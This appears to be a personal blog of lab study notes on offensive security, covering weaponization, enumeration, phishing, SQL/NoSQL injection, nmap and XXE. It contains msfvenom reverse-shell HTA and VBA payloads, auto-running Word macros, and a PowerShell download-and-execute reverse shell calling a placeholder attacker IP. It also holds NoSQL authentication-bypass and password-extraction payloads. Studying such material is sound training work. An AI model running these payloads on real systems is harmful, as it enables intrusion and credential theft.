Home on Silent Resistor

Weaponization

Wed, 25 Mar 2026 00:00:00 +0000

Windows Script Host (WSH)

Its a built-in Windows adminstration tool that runs batch files to automate and manage tasks within the OS.
It is windows native engine, wscript.exe (UI scripts) and cscript.exe (command line scripts), which are responsible for executing various Microsoft Visual Basic Scripts, including .vbs and .vbe.
Have a look here for more details: VBScript
Have a look at the example:

' This is a simple VBScript that displays a message box with a welcome message.
' wscript.exe example1.vbs
Dim message 
message = "Welcome to THM"
MsgBox message

' This script will open the calculator application when executed.
' wscript.exe example2.vbs
' or if the vbs scripts are blocked, lets use txt files.
' wscript /e:VBScript example3.txt
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

An HTML Application (HTA)

It allows you to create a downloadable file that takes all the information regarding how it is displayed and rendered.
HTAs, which are dynamic HTML pages containing Jscript or VBScript.

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

When this file is downloaded and executed in the victim’s machine, it will run the command prompt (cmd.exe), which can be used to execute further commands.

Reverse HTA Connection

# Attacker's machine
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Attacker_IP> LPORT=443-f hta-psh -o reverse.hta
python3 -m http.server 8000
sudo nc -lvnp 443
# you will get the reverse shell once the victim executes the hta file

# Victim's machine
curl http://<Attacker_IP>:8000/reverse.hta -o reverse.hta
start reverse.hta

Visual Basic for Applications (VBA)

A programming language by Microsoft for Microsoft applications such as Excel, Word etc.
VBA programming language allows automating tasks of nearly every keyboard and mouse actions between the user and the applications.
Macros are MS Office applications that contain embedded VBA code. It used to create custom fucntions to speed up manual tasks by creating automatic processes. Once of VBA’s features is accessing the Windows API, and other low level functionality. For more info, visit: VBA
To use macros, Open Word – New Word Doc (Blank)–> view –> macros –> create new macro –> paste the code below

' run the macro by F5 or Run → Run Sub/UserForm for testing
Sub THM()
 MsgBox ("Welcome to Weaponization Room!")
End Sub

Now in order to execute the VBA code automatically once the document gets opened, we can use built-in functions such as AutoOpen and Document_open. Also replacing the MsgBOx with the payload we want to execute.

Sub Document_Open()
 THM
End Sub
Sub AutoOpen()
 THM
End Sub
Sub THM()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

It is important to note that to make the macro work, we need to save it in Macro-Enabled format such as .doc and docm. (Use Word 97-2003 Document while saving..)
Lets close the Word document, and open it again, you will see the calculator application opened as well.
We can do the same using Metaisploit framework.

# Attacker machine
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=443 -f vba -o payload.vba
# here its generates a vba that defaults to Workbook, so we need replace the `Workbook_Open` with `Document_Open` to make suitable for word.
python3 -m http.server 8000
sudo nc -lvnp 443

# Victim machine
curl http://<Attacker_IP>:8000/payload.vba -o payload.vba
# open the payload.vba file, copy the content and paste it in the macro editor of the word document, then save it as Macro-Enabled format and open it again to get the reverse shell.

Powershell

Powershell is an object-oriented programming language executed from the Dynamic Language Runtime (DLR) in .NET with some exceptions for legacy uses.
Lets start by creating a simple script that prints a message.
Exccution policy: Its a security option to protect system from running malicious scripts. Microsoft disables executing Powershell scripts .ps1 by default. To get the current execution policy Get-ExecutionPolicy.

# test.ps1
Write-Host "Hello World"
# execute it
powershell -File test.ps1
# by pass execution policy
powershell -ExecutionPolicy Bypass -File test.ps1

# disable the execution policy for the current session
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser RemoteSigned

# start a process
powershell -Command "Start-Process calc.exe"

Now, lets try to get the reverse shell using the one of tools written in Powersehell powercat.

# Attacker's machine
git clone https://github.com/besimorhino/powercat.git
cd powercat
python3 -m http.server 8000
nc -lvnp 1337 # Listen to this port 1337, for reverse shell

# Victim's machine
# Downloads the `powercat.ps1` payload, then executes it locally on the target using cmd.exe and sends the connection back to the attacker that is listening on port 1337.
powershell -c "IEX (New-Object System.Net.WebClient).DownloadString('http://<Attacker_IP>:8000/powercat.ps1');powercat -c <Attacker_IP> -p 1337 -e cmd"

Delivery Techniques

Email Delivery

More info: Spearphishing

Web Delivery

The webserver has to follow security guidelines such as clean record and reputation of its domain name and TLS certificate.
More info: T1105

USB Delivery

This method requires the victim to plug in the USB physically. This method could be effective and usefull at conferences where the adversary can distribute the USB.
For info, see T1091
Common USB attacks used to weaponize USB devices include Rubber Ducky, USBHarpoon, charging USB cable, such as O.MG Cable.

Authentication

Sat, 20 Jan 2024 00:00:00 +0000

Authentication Enumerations

Identifying valid usernames: observe response of login or password resets.
Password policies: info when we enter password that does not match the policies, is used gauge the potential complexity of passwords and tailor strategy.

Common places to enerumerate:

#registration pages, Fails if username already used. So, we can list of valid users.
#Password reset features: Fails if username does not belong to valid account. Can list the valid usernames.
#Verbose Errors: these intential errors can provide us the info about whether valid user, valid pass??
# Data Breach info: data from previous breaches is goldmine, allows us to find whether compromised credentials are reused across the platforms.

Enumerating Users via Verbose errors

Verbose errors can turn into a goldmine of information, providing insights such as: Internal Paths, Database details like spilling secrets, User information etc

Inducing verbose errors: forcing application to reveal its secrets by using belwo techniques.

 Invalid login attempts
 SQL injections
 File Inclusion/Path Traversal
 FOrm Manupulation
 Application Fuzzing

Role of enumeration and brute forcing: User Enumerations, Exploiting versbose errors.

cd sources/
git clone git@github.com:nyxgeek/username-lists.git
python3 email_bruteforce.py "username-lists/usernames-top100/usernames_gmail.com.txt"

Exploiting Vulnerable Password Reset Logic

Password Reset Flow Vulnerabilities

Email-Based Reset
Security Question-Based Reset
SMS-Based Reset

OSINT

Wayback urls
Think of the Internet Archive’s Wayback Machine (https://archive.org/web/) as a time machine
To dump all of the links that are saved in Wayback Machine, we can use the tool called waybackurls.
git clone https://github.com/tomnomnom/waybackurls
cd waybackurls
sudo apt install golang-go -y
ls -la
./waybackurls tryhackme.com

What the shell??

Sat, 20 Jan 2024 00:00:00 +0000

There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell.
Netcat - A tradional swiss army knife of Networking.
Socat is like netcat on steroids. It can do all same things, and many more. Socat shells are usually more stable than netcat shells out of the box.

Phishing

Sat, 28 Mar 2026 00:00:00 +0000

Intro to Phishing..

Social Engineering is the psychological manipulation of people into performing or divulging information by exploiting weakness in human nature. These “weakness” can be curiosity, jealously, greed, and even kindness and the willingness to help someone.
Phishing is a source of social engineering delivered through email to trick someone into either revealing personal information, credentials, or even executing malicious code on their computer.
These emails will usually appear to come from a trusted source, whether that’s person or a business. They include content that tries to tempt or trick people into downloading software, opening attachments, opening attachements, or following links to bogus website.
A term you’ll come across and the type of phishing campaign a red team would participate in is spear-phishing, as with throwing a physical spear; you’d have a target to aim at, the same can be said with spear-phishing in that you’re targeting an individual, business or organization rather than just anybody as mass. This is an effective form of phishing for a red team engagement as they are bespoke to the target it makes them hard to detect by technology such as spam filters, antivirus, and firewalls.
A red team could be contracted to solely carry out a phishing assessment to see whether a business is vulnerable to this type of attack or can also be part of a broader scale assessment and used to gain access to computer systems or services.
Some other methods of phishing through other mediums are smishing which is phishing through SMS messages, and vishing which is performed through phone calls.

Writing Convincing Phishing Emails

We have three things to work with regarding phishing emails: the sender’s email, the subject and the content

Advanced SQL Injections

Sat, 31 Jan 2026 00:00:00 +0000

Recap Basics

In-band SQL Injection

Error-Based SQL Injection: manipulates the SQL query to produce error which can be used to exploit. Example: SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))
Union-Based SQL Injection: uses the UNION SQL operator to combine the results of two or more SELECT statements, thereby retrieving data from other tables. Example: SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin.

Boolean-Based Blind SQL Injection: The attacker sends an SQL query to the database, forcing the application to return a different result based on a true or false condition. Example: SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)
Time-Based Blind SQL Injection: sends an SQL query to the database, which delays the response for a specified time. For example, SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--

Out-of-band SQL Injection

Out-of-band SQL injection is used when the attacker cannot use the same channel to launch the attack and gather results or when the server responses are unstable.

Second-Order SQL Injection

Also known as Stored SQL injection, exploits the vulnerabilities where user-supplied input is saved and subsequently used in different part of application, possibly after some intial processing.

NMAP (Network Mapper)

Sat, 20 Jan 2024 00:00:00 +0000

NMAP (Network Mapper) Host Discovery

Nmap was created by Gordon Lyon (Fyodor), a network security expert and open source programmer. It was released in 1997. Nmap, short for Network Mapper, is free, open-source software released under GPL license. Nmap is an industry-standard tool for mapping networks, identifying live hosts, and discovering running services. Nmap’s scripting engine can further extend its functionality, from fingerprinting services to exploiting vulnerabilities.

Host Discovery Using ARP :

If you want to use Nmap to discover online hosts without port-scanning the live systems, you can issue nmap -sn TARGETS.
If you want Nmap only to perform an ARP scan without port-scanning, you can use nmap -PR -sn TARGETS, where -PR indicates that you only want an ARP scan.
Mentioning the scanner built around ARP queries: arp-scan. Lets say to san the all the valid ip addresses on the local network, we can use arp-scan --localnet or simply arp-scan -l. Or if we have multiple interfaces on machine and we are interested in one of them, we do sudo arp-scan -I eth0 -l.
Plese note that we can yield same ARP Traffic (observed by tcpdump, wireshark or any similar tool) with both of nmap -PR -sn TARGETS and arp-scan TARGETS.

Host Discovery Using ICMP:

Remember that an ARP query will precede the ICMP request if your target is on the same subnet.
To use ICMP echo request to discover live hosts, add the option -PE. (Remember to add -sn if you don’t want to follow that with a port scan.)
an ICMP echo scan works by sending an ICMP echo request and expects the target to reply with an ICMP echo reply if it is online.
Commnd sudo nmap -PE -sn TARGETS can scan with ARP ICMP ping on targets
Adding the -PP option tells Nmap to use timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14). Fr example: sudo nmap -PP -sn TARGETS
Similarly, Nmap uses address mask queries (ICMP Type 17) and checks whether it gets an address mask reply (ICMP Type 18). This scan can be enabled with the option -PM. For Example: sudo nmap -PM -sn TARGETS

Host Discovery Using TCP and UDP:

TCP SYN PING: We can send a packet with the SYN (Synchronize) flag set to a TCP port, 80 by default, and wait for a response. An open port should reply with a SYN/ACK (Acknowledge); a closed port would result in an RST (Reset). We dont really care about the state of port in this case.
If you want Nmap to use TCP SYN ping, you can do so via the option -PS followed by the port number, range, list, or a combination of them. For example, -PS21 will target port 21
Privileged users (root and sudoers) can send TCP SYN packets and don’t need to complete the TCP 3-way handshake even if the port is open. . Unprivileged users have no choice but to complete the 3-way handshake if the port is open.
TCP ACK Ping: Sends a packet with an ACK flag set. You must be running Nmap as a privileged user to be able to accomplish this. If you try it as an unprivileged user, Nmap will attempt a 3-way handshake.
Here, We are sending TCP packet with an ACK flag set to all the targets. So, targets which are up should reply with TCP packet with an RST flag set.
To use TCP ACK ping with nmap, we use flag -PA. For example sudo nmap -PA -sn TARGETS to discover the online hosts on targtet’s network.
UDP PIng:Contrary to TCP SYN ping, sending a UDP packet to an open port is not expected to lead to any reply. However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available.
Nmap uses -PU for UDP ping. For example: sudo nmap -PU -sn TARGETS

Reverse DNS Lookup:

Nmap’s default behaviour is to use reverse-DNS online hosts. Because the hostnames can reveal a lot, this can be a helpful step. However, if you don’t want to send such DNS queries, you use -n to skip this step.
By default, Nmap will look up online hosts; however, you can use the option -R to query the DNS server even for offline hosts. If you want to use a specific DNS server, you can add the --dns-servers DNS_SERVER option.

Nmap Basic Port Scans

TCP Connect Scan: TCP connect scan works by completing the TCP 3-way handshake. In standard TCP connection establishment, the client sends a TCP packet with SYN flag set, and the server responds with SYN/ACK if the port is open; finally, the client completes the 3-way handshake by sending an ACK. A closed TCP port responds to a SYN packet with RST/ACK to indicate that it is not open.
You can choose to run TCP connect scan using -sT with nmap. For example: nmap -sT 10.49.140.143
We can use -F to enable fast mode and decrease the number of scanned ports from 1000 (default) to 100 most common ports.
TCP SYN SCan: Default scan mode is SYN scan, and it requires a privileged (root or sudoer) user to run it.
We are interested in learning whether the TCP port is open, not establishing a TCP connection. Hence the connection is torn as soon as its state is confirmed by sending a RST/ACK (closed) or SYS/ACK (open) (only privilaged users allowed) by sending the RST flag. We can select this scan type by using the -sS option.
UDP Scan: UDP is a connectionless protocol, and hence it does not require any handshake for connection establishment. We cannot guarantee that a service listening on a UDP port would respond to our packets. However, if a UDP packet is sent to a closed port, an ICMP port unreachable error (type 3, code 3) is returned.
We can select UDP scan using the -sU option; For example: sudo nmap -sU 10.48.177.222

Fine-Tuning Scope and Performance

We can choose to control the packet rate using --min-rate <number> and --max-rate <number>. For example, --max-rate 10 or --max-rate=10 ensures that your scanner is not sending more than ten packets per second.
We can control probing parallelization using --min-parallelism <numprobes> and --max-parallelism <numprobes>

Ports

We can specify the ports you want to scan instead of the default 1000 ports.
port list: -p22,80,443
port range: -p1-1023
all ports (0 - 65535): -p-
Top 100 ports: -F
Top 10 ports: --top-ports 10

scan timing

We can control the scan timing using -T<0-5>. -T0 is the slowest (paranoid), while -T5 is the fastest.
paranoid (T0), sneaky (T1), polite (T2), normal (T3), aggressive (T4), insane (T5)

NMAP Advanced Port-scans:

For instance, an ACK flag is set when you want to acknowledge received data. An ACK scan is like trying to acknowledge data that was neither sent nor received in the first place. Consider this simple analogy, someone coming to you out of nowhere to tell you, “yes, I hear you, please continue.” when you haven’t said anything.

Popular TCP Scans:

Null Scan (tcp segment with no flag set, -sN , respond with RST-ACK if the port is closed port)
FIN Scan (only FIN Flag is set, sF, respond with RST-ACK if the port is closed port)
Xmas Scan (FIN, PSH, URG flags are set, -sX, respond with RST-ACK if the port is closed port)
Maimon Scan (FIN and ACK bits are set, -sM, send an RST packet as a response on closed port )
ACK Scan (Send a TCP packet with the ACK flag set, -sA, respond with the RST regardless of the state of the port without firewall, reveal unblocking ports with firewall)
Window Scan (Same as the ACK scan; however, it examines the TCP Window field of the RST packets returned -sW, )
Custom Scan (we can experiment with providing customized flags in tcp segment, using --scanflag RSTSYSFIN –> proving the three flags: reset, sys, fin )

Spoofed IP Address:

Sometimes we supposed to scan target with spoofed Ip or even a spoofed MAC. We can make use of nmap -S SPOOFED_IP TARGETS. The target machine will respond to the incoming packets sending the replies to the SPOOFED_IP.
We will need to issue nmap -e NET_INTERFACE -Pn -S SPOOFED_IP TARGETS to tell Nmap explicitly which network interface to use and not to expect to receive a ping reply. It is worth noting that this scan will be useless if the attacker system cannot monitor the network for responses.
When you are on the same subnet as the target machine, you would be able to spoof your MAC address as well. You can specify the source MAC address using --spoof-mac SPOOFED_MAC
Why dont we make the scan appear to be coming from many IP addresses so that the attacker’s IP address would be lost among them. Lets say nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP, where the third and fourth source IP addresses are assigned randomly, while the fifth source is going to be the attacker’s IP address.

Fragmented Packets:

Nmap provides the option -f to fragment packets. Once chosen, the IP data will be divided into 8 bytes or less. Adding another -f (-f -f or -ff) will split the data into 16 byte-fragments instead of 8.
You can change the default value by using the –mtu; however, you should always choose a multiple of 8.
For example: sudo nmap -sS -p80 -f 10.20.30.144.

Idle/Zombie Scan:

It requires an idle system connected to the network that you can communicate with. Practically, Nmap will make each probe appear as if coming from the idle (zombie) host, then it will check for indicators whether the idle (zombie) host received any response to the spoofed probe. This is accomplished by checking the IP identification (IP ID) value in the IP header. You can run an idle scan using nmap -sI ZOMBIE_IP MACHINE_IP, where ZOMBIE_IP is the IP address of the idle host (zombie).

Getting more details:

You might consider adding --reason if you want Nmap to provide more details regarding its reasoning and conclusions (i mean why Nmap concluded that the system is up or a particular port is open.). For example: sudo nmap -sS --reason 10.10.252.27
For more detailed output, you can consider using -v for verbose output or -vv for even more verbosity.
We can use -d for debugging details or -dd for even more details.

NMAP Post port scans

Service Detection:

Adding -sV to nmap will collect and determine service and version information for the open ports. We can control the intensity with the --version-intensity LEVEL where level ranges from 0 (lightest) to 9. -sV --version-light has an intensity of 2, while -sV --version-all has an intensity of 9.
Its important to understand that -sV will force the nmap to use tcp 3-way handshake and establish the connection. In otherwords -sS is not possible when -sV option is used.
Example: sudo nmap -sV TARGET

OS Detection and traceroute:

Nmap can detect the OS based on its behaviour and any telltale signs in its responses. Its enabled by using -O. For example, namp -sS -O TARGET.
If we want the nmap to find the routers between the you and target, we can make use of --traceroute. Please note nmap results slightly different from traceroute command as its starts with a packet of low TTL and keeps incresing until it reaches the target. Nmap’s traceroute starts with a packet of high TTL and keeps decreasing it. For example: nmap -sS --traceroute TARGET

Nmap scripting engine

Nmap provides support for scripts using the Lua language. A part of Nmap, Nmap Scripting engine (NSE) is a Lua interpreter that allows Nmap to execute scripts written in the Lua language.
Default Nmap installation may easily contain around 600 scripts. Take a look at the nmap installation folder ls -la /usr/share/nmap/scripts for scripts conventiently named starting with protocol they target.
We can specify to use any or a group of these installed scripts, moreover we can install other user’s scripts and use them for our scans.
Lets begin with defaults, we can use --script=default or -sC to run the scripts in the default catogory. For example: sudo nmap -sS -sC TARGET will do a syn scan with executing the defautl scripts.

In addition to default, we have other catagories, please have a look here

	auth		- Authentication related scripts
	broadcast	- Discover hosts by sending broadcast messages
	brute		- Performs brute-force password auditing against logins
	default		- Default scripts, same as -sC
	discovery	- Retrieve accessible information, such as database tables and DNS names
	dos			- Detects servers vulnerable to Denial of Service (DoS)
	exploit 	- Attempts to exploit various vulnerable services
	external	- Checks using a third-party service, such as Geoplugin and Virustotal
	fuzzer		- Launch fuzzing attacks
	intrusive	- Intrusive scripts such as brute-force attacks and exploitation
	malware		- Scans for backdoors
	safe		- Safe scripts that won’t crash the target
	version		- Retrieve service versions
	vuln		- Checks for vulnerabilities or exploit vulnerable services

We can specify the script by name using --script "SCRIPT-NAME" or a pattern such as --script "ftp" which would includ ftp related scripts.
For example: sudo nmap -sS -n --script "http-date" TARGET runs the script http-date which retrieve the http-server date and time.

Saving the Output:

Normal Format: We can save the scan results in Normal format using -oN FILENAME
Greppable Format: grep stands for Global Regular Expression Printer. It makes filtering scan output for specific keywords or terms efficient. We can save output in this format using -oG FILENAME.
XML Format: lets use -oX FILENAME.
why dont we do all at a time?: nmap -sS TARGET -A FILENAME, its give three files: FILENAME.gnmap, FILENAME.nmap, FILENAME.xml
script kiddie: You can see this format is useless if you want to search the output for any interesting keywords or keep the results for future reference. However you can use it to save the output of scan nmap -sS 127.0.0.1 -oS FILENAME, display the output filename and look 31337 in font of friends who are non-tech savy.

Reconissance

Sat, 20 Jan 2024 00:00:00 +0000

Passive Reconnaissance:

Rely on publicly available knowledge. It is the knowledge that you can access from publicly available resources without directly engaging with the target. Think of it like you are looking at target territory from afar without stepping foot on that territory. For Example:
Looking up DNS records of a domain from a public DNS server.
Checking job ads related to the target website.
Reading news articles about the target company.

Whois:

WHOIS is a request and response protocol that follows the RFC 3912 specification. A WHOIS server listens on TCP port 43 for incoming requests.
The domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing. The WHOIS server replies with various information related to the domain requested such as Registrar, Contact info of registrant, Creation &update & expiration dates, Name Server.
To get this information, we need to use a whois client or an online service.
The syntax is whois DOMAIN_NAME, where DOMAIN_NAME is the domain about which you are trying to get more information. For example: whois tryhackme.com

nslookup (name server lookup):

Used to find IP address of domain name
command format: nslookup domain_name. For example nslookup tryhackme.com
Or we can also provide options to get desired response,
nslookup OPTIONS domain_name dns_server
Most popular dns servers: Cloudflare offers 1.1.1.1 and 1.0.0.1, Google offers 8.8.8.8 and 8.8.4.4, and Quad9 offers 9.9.9.9 and 149.112.112.112.
OPTIONS include: A- ipv4, AAAA - ipv6, CNAME - conical name, MX - Mail servers, SOA - Start of authority, TXT - TXT Records.
For example, nslookup -type=A tryhackme.com 1.1.1.1 returns all the ipv4 addresses of tryhackme.com
nslookup --type=MX tryhackme.com returns all the mail servers and configurations from the tryhackme.com

dig (Domain Information Grouper):

Also, used to gather info about the dns records.
command format: dig @DNS_SEVER DOMAIN_NAME TYPE
For example: dig tryhackme.com MX
dig returns more info than nslookup such as TTL by default

How to discover subdomains of particular domain:

https://dnsdumpster.com - it will return all the collected DNS information in easy-to-read tables and graph. It will also provide any collected information about the listening servers. (resolve dns, and geolocate ips, provides owner info as well)

Active reconnaissance

It requires direct engagement with the target. Think of it like you check the locks on the doors and windows, among other potential entry points. For example:
Connecting to one of the company servers such as HTTP, FTP, and SMTP.
Calling the company in an attempt to get information (social engineering).
Entering company premises pretending to be a repairman.

Web browser:

Ping:

tracroute (tracert in windows):

The purpose of a traceroute is to find the IP addresses of the routers or hops that a packet traverses as it goes from your system to a target host.
commannd format traceroute ip_or_hostnaame

Telnet:

The TELNET (Teletype Network) protocol was developed in 1969 to communicate with a remote system via a command-line interface (CLI). Hence, the command telnet uses the TELNET protocol for remote administration.
The default port used by telnet is 23. From a security perspective, telnet sends all the data, including usernames and passwords, in cleartext.
Knowing that telnet client relies on the TCP protocol, you can use Telnet to connect to any service and grab its banner. Using telnet 10.49.153.206 PORT, you can connect to any service running on TCP and even exchange a few messages unless it uses encryption.
GET / HTTP/1.1 or specify something other than the default index page, you can issue GET /page.html HTTP/1.1 with HTTP version 1.1 for communication

nmap:

The Lay of the Land

Sat, 28 Mar 2026 00:00:00 +0000

Introduction

It is essential to be familiar with the environment where you have intial access to a compromized machine during a red team engagement. Therefore performing reconnaissance and enumeration is crucial, and primary goal is to gather as much information as possible to be used in the next stage. With an intial foothold established, the post exploitation process begins!

Network Infrastructure

Once arriving onto an unknown network, our first goal is to identify where we are and what we can get to. During the red team engagement, we need to understand what target system we are dealing with, what service the machine provides, what kind of network we are in. Thus, the enumeration of the compromised machine after getting intial access is the key to answering these questions.
Network segmentation is an extra layer of network security divided into multiple subnets. It is used to improve the security and management of the network. For example, it is used for preventing unauthorized access to corporate most valuable assets such as customer data, financial records etc.
The Virtual Local Area Network (VLANs) is network technique used in the network segmentation to control networking issues, such as broadcasting issues in the local network, and improve security. Hosts within the VLAN can only communicate with other hosts in same VLAN network.

Internal Networks

These are subnetworks that are segmented an separated based on importance of internal device or the importance of the accessebility of its data. The main purpose of internal network(s) is to share information, faster and easier communication, collabation tools, operation systems, and network services within organization.
In a corporate network, Network Admnistrator intend to use network segmentation for various reasons, including controlling network traffic, optimizing network performance, and improving security posture.

A Demilitarized Zone (DMZ)

A DMZ network is an edge network that protects and adds an extra security to a corporate’s internal local area network from untrusted traffic. A common design for DMZ is a subnetwork that sites between the public internet and internal networks.
Designing a network within the company depends on its requirements and need. For example, suppose provides public services such as a website, DNS, FTP, Proxy, VPN etc In this case, they may design a DMZ network to isolate and enable access control on public network traffic, untrusted traffic.
In the below diagram, represents the network traffic to DMZ network in red color, which is untrusted. The green network traffic between the internal network is the controlled traffic that may go through one or more network security devices.

Network Enumeration

There are various things to check related networking aspects as TCP, UDP ports and established connections, routing tables, ARP tables, etc..

# Lets start checking the target machine's TCP, UDP open ports, with the netstat. 
netstat -an

# Let's list the ARP table, which contains the IP address and 
# the physical address of the computers that communicated with the target machines within the network.
arp -a

Active Directory (AD) Environment

It is a Windows-based directory service that stores and provides data objects to the internal network environment. It allows for centralized management of authentication and authorization.

No SQL Injections

Sat, 31 Jan 2026 00:00:00 +0000

Introduction

several db options not based on SQL also exists such as MongoDB, Redis etc..
MongoDB allows you retrieve subsets of data in a quick and structured form. Information stored isnot stored on tablesbut rather in documents
Filter out only doc with specific last_name: ['last_name' => 'Sandler']
Filter docs with gender and last_name: ['gender' => 'male', ['last_name' => 'Sandler']
Retrieve docs where age<50: ['age' => ['$lt' => '50']]

No-SQL Injection

Lets say, a web application making a query to MongoDB, using query ['username' => $user, 'password' => $pass], where both $user and $pass are obtained directly from HTTP POST parameters. Let’s take a took at thow we can leverage operator injection in order to bypass authentication.

If somehow, we could send an array to the $user and $pass variables with following content.

$user = ['$ne' => 'xxxx']
$pass = ['$ne' => 'yyyy']
# the resulting query looks like
['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]

Data base now tricked into returning any document where username isn’t equal to ‘xxxx’ and pass isn’t equal to ‘yyyy’. This probably return all the documents in the collection.
It turns out that PHP and many other languages allow you to pass an array by using notation on POST Request body:
```
user[$ne]=xxxx&pass[$ne]=yyyy
```

Log-in as other users

We can only as first user returned by database with above mentioned query in the request.
By making use of $nin operator, we are going to modify our payload so that we can control which user we want to obtain.

$nin allows us to create filter by specifying desired documents have somefield, not in a list of values.

user[$nin][]=admin&pass[$ne]=aweasdf&remember=on
#this translates to
['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aweadsf']]

user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aweasdf&remember=on
# this translates to
['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aweadsf']]

$nin receives list of values to ignore. We can continue to expand the list by adjusting our payload as above.

Extracting User’s Passwords

Its important to extract the actual passwords in use as they might be reused in other services. To accomplish this we will be abusing the $regex operator to ask a series of questions to the server that allow us to recover the passwords.
Take one of the users discovered before and try to guess the length of his password. Asking the db, if there is user with username admin and password that matches the regex ^.{7}$ which basically represents the wildcard for length 7 of word. If server responds with error, password lenght might not be 7.
```
user=admin&pass[$regex]=^.{7}$&remember=on
```
After some trial and error, we finally arrivedd at right answer. Now we know lenght of password.
```
user=admin&pass[$regex]=^.{5}$&remember=on
```
Its time to get actual content of pass, we modify our payload as: Asking if admin’s pass matches ^c....$, which means it starts with a lowercase c, followed by 4 characters. If server response is invalid login, we will get to know that first letter may not be c.
```
user=admin&pass[$regex]=^c....$&remember=on
```
We continue iterating over all available characters until we get a successful response from the server. The same process can be repeated for the other letters until the full password is recovered.

Web Fundamentals

Sat, 20 Jan 2024 00:00:00 +0000

Manual - Favicon

The favicon is a small icon displayed in the browser’s address bar or tab used for branding a website.
Sometimes when frameworks are used to build a website, a favicon that is part of the installation gets leftover, and if the website developer doesn’t replace this with a custom one, this can give us a clue on what framework is in use
OWASP host a database of common framework icons that you can use to check against the targets favicon https://wiki.owasp.org/index.php/OWASP_favicon_database.

# compare the hash against owasp database to know about the framework used in the application
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum

# powershell
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
Get-FileHash .\favicon.ico -Algorithm MD5

Manual - Sitemap.xml

the sitemap.xml file gives a list of every file the website owner wishes to be listed on a search engine
These can sometimes contain areas of the website that are a bit more difficult to navigate to or even list some old webpages that the current site no longer uses but are still working behind the scenes.

Manual - HTTP Headers

When we make requests to the web server, the server returns various HTTP headers. These headers can sometimes contain useful information such as the webserver software and possibly the programming/scripting language in use.

Manual - OSINT - Wappalyzer

Wappalyzer (https://www.wappalyzer.com/) is an online tool and browser extension that helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version numbers as well.

OSINT - S3 Buckets

S3 Buckets are a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable.
The format of the S3 buckets is http(s)://{name}.s3.amazonaws.com where {name} is decided by the owner, such as tryhackme-assets.s3.amazonaws.com.
One common automation method is by using the company name followed by common terms such as {name}-assets, {name}-www, {name}-public, {name}-private, etc.

OSINT - SSL/TLS Certificates

Enumeration

Wed, 01 Apr 2026 00:00:00 +0000

Introduction

Enumeration is the process of gathering information on a target system to identify potential attack vectors and vulnerabilities. It is a crucial step in the penetration testing process, as it helps to identify the target’s weaknesses and vulnerabilities.
More info on Privilege Escalation can be found in the Windows Privilege Escalation room and the Linux PrivEsc room. Moreover, there are two handy scripts, WinPEAS and LinPEAS for MS Windows and Linux privilege escalation respectively.
We aim, to collect the information that would allow us to pivot to other systems on the network or to loot the current system. Some of the interested in gathering include:
- Users and groups
- Hostnames
- Routing tables
- Network shares
- network services
- Applications and banners
- Firewall configurations
- service settings and audit configurations
- SNMP and DNS details
- Hunting for credentials (saved on browsers or client applications)

Linux Enumeration

# release info
ls /etc/*-release

# system info
hostame
cat /etc/passwd
sudo cat /etc/shadow
ls -lh /var/mail
uname -a

# installed apps
ls -la /usr/bin/
ls -la /usr/local/bin/
rpm -qa # rpm based systems
dpkg -l # deb based systems

#Users
who # who logged in
w # who logged in and whats he doing..
whoami
id -a
groups
last # want to who has been using the system recently
sudo -l # want to know what commands the current user can run with sudo

# Networking
ip addr show
netstat -tuln
ss -tuln
cat /etc/resolv.conf # dns servers
sudo lsof -i # list open network connections
sudo lsof -i :22 # list open network connections on port 22

# running service
ps axf

Windows enumerations

# system info
systeminfo 
wmic qfe get Caption,Description,HotFixID,InstalledOn # installed updates
net start # installed and started windows services
wmic product get name,version,vendor # installed applications

# Users
whoami
whoami /priv # privileges
whoami /groups # groups
whoami /all # all info
net config # config
net user # all running users
net group # all groups
net localgroup # all local groups
net localgroup administrators # all administrators
net accounts # local account settings
net accounts /domain # domain account settings


# Networking
ipconfig /all
netstat -abno # list open network connections, -b shows the executable, -o shows the process ID, -a for listening ports
arp -a # arp table

DNS, SMB, and SNMP

DNS:

Exploiting XXE (XML External entities) injections

Sun, 01 Feb 2026 00:00:00 +0000

Introductin to XML

XML (Extensible Markup language) is markup language derived from SGML (Standard Generalized Markup language), which is the same standard that HTML is based on.
XML is typically used by applications to store and transport data in a format that’s both human readable and machine-parseable. Its flexible and widely used format for exchanging data between different systems and applications.
XML consists of elements, attributes, and character data, which are used to represent data in a structured and organized way.
XXE is type of security flaw that exploits vulnerability in an application’s XML input that includes external entity references with in XML itself. Attackers leverage this vulnerability to disclose local files, make server-side requests, or execute remote code.
Given Widespread use of XML in web applications, particularly in webservices such as SOAP and REST based APIs, the severity of these vulnerabilities cannot be underestimated.

XML syntax structure

